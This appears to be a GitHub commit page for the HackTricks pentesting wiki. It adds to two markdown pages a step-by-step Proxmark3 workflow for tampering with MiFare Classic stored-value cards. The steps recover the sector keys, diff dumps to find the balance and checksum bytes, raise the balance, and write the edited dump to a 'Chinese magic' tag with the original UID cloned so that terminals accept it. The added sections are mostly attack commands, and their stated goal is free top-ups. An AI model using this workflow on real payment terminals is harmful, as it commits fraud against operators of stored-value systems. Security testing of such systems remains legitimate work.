Skip to content

Commit 85c46c6

Browse files
author
HackTricks News Bot
committed
Add content from: NFC Card Vulnerability Exploitation Leading to Free Top-Up i...
- Remove searchindex.js (auto-generated file)
1 parent 74cc86a commit 85c46c6

3 files changed

Lines changed: 91 additions & 5 deletions

File tree

searchindex.js

Lines changed: 0 additions & 1 deletion
This file was deleted.

src/todo/radio-hacking/pentesting-rfid.md

Lines changed: 55 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -91,6 +91,58 @@ flipper-zero/fz-nfc.md
9191
Or using the **proxmark**:
9292

9393

94+
{{#ref}}
95+
proxmark-3.md
96+
{{#endref}}
97+
98+
### MiFare Classic offline stored-value tampering (broken Crypto1)
99+
100+
When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).
101+
102+
End-to-end workflow (abstracted):
103+
104+
1) Dump the original card and recover keys
105+
106+
```bash
107+
# Attempt all built-in Classic key recovery attacks and dump the card
108+
hf mf autopwn
109+
```
110+
111+
This typically recovers sector keys (A/B) and generates a full-card dump in the client dumps folder.
112+
113+
2) Locate and understand the value/integrity fields
114+
115+
- Perform legitimate top-ups on the original card and take multiple dumps (before/after).
116+
- Do a diff of the two dumps to identify the changing blocks/bytes that represent the balance and any integrity fields.
117+
- Many Classic deployments either use the native "value block" encoding or roll their own checksums (e.g., XOR of the balance with another field and a constant). After changing the balance, recompute the integrity bytes accordingly and ensure all duplicated/complemented fields are consistent.
118+
119+
3) Write the modified dump to a writable “Chinese magic” Classic tag
120+
121+
```bash
122+
# Load a modified binary dump onto a UID-changeable Classic tag
123+
hf mf cload -f modified.bin
124+
```
125+
126+
4) Clone the original UID so terminals recognize the card
127+
128+
```bash
129+
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
130+
hf mf csetuid -u <original_uid>
131+
```
132+
133+
5) Use at terminals
134+
135+
Readers that trust the on-card balance and the UID will accept the manipulated card. Field observations show many deployments cap balances based on field width (e.g., 16-bit fixed-point).
136+
137+
Notes
138+
139+
- If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
140+
- For custom formats with simple checksums, differential analysis is the fastest way to derive the integrity function without reversing firmware.
141+
- Only UID-changeable tags ("Chinese magic" gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.
142+
143+
For hands-on Proxmark3 commands, see:
144+
145+
94146
{{#ref}}
95147
proxmark-3.md
96148
{{#endref}}
@@ -110,7 +162,8 @@ maxiprox-mobile-cloner.md
110162

111163
- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
112164
- [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together)
165+
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
166+
- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security)
167+
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
113168

114169
{{#include ../../banners/hacktricks-training.md}}
115-
116-

src/todo/radio-hacking/proxmark-3.md

Lines changed: 36 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,36 @@ proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write
3535

3636
The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool).
3737

38+
#### MiFare Classic quick workflow for stored-value abuse
39+
40+
When terminals store balances on Classic cards, a typical end-to-end flow is:
41+
42+
```bash
43+
# 1) Recover sector keys and dump full card
44+
proxmark3> hf mf autopwn
45+
46+
# 2) Modify dump offline (adjust balance + integrity bytes)
47+
# Use diffing of before/after top-up dumps to locate fields
48+
49+
# 3) Write modified dump to a UID-changeable ("Chinese magic") tag
50+
proxmark3> hf mf cload -f modified.bin
51+
52+
# 4) Clone original UID so readers recognize the card
53+
proxmark3> hf mf csetuid -u <original_uid>
54+
```
55+
56+
Notes
57+
58+
- `hf mf autopwn` orchestrates nested/darkside/HardNested-style attacks, recovers keys, and creates dumps in the client dumps folder.
59+
- Writing block 0/UID only works on magic gen1a/gen2 cards. Normal Classic cards have read-only UID.
60+
- Many deployments use Classic "value blocks" or simple checksums. Ensure all duplicated/complemented fields and checksums are consistent after editing.
61+
62+
See a higher-level methodology and mitigations in:
63+
64+
{{#ref}}
65+
pentesting-rfid.md
66+
{{#endref}}
67+
3868
### Raw Commands
3969

4070
IoT systems sometimes use **nonbranded or noncommercial tags**. In this case, you can use Proxmark3 to send custom **raw commands to the tags**.
@@ -61,7 +91,11 @@ proxmark3> script run mfkeys
6191

6292
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
6393

64-
{{#include ../../banners/hacktricks-training.md}}
65-
94+
## References
6695

96+
- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare)
97+
- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards)
98+
- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/)
99+
- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/)
67100

101+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)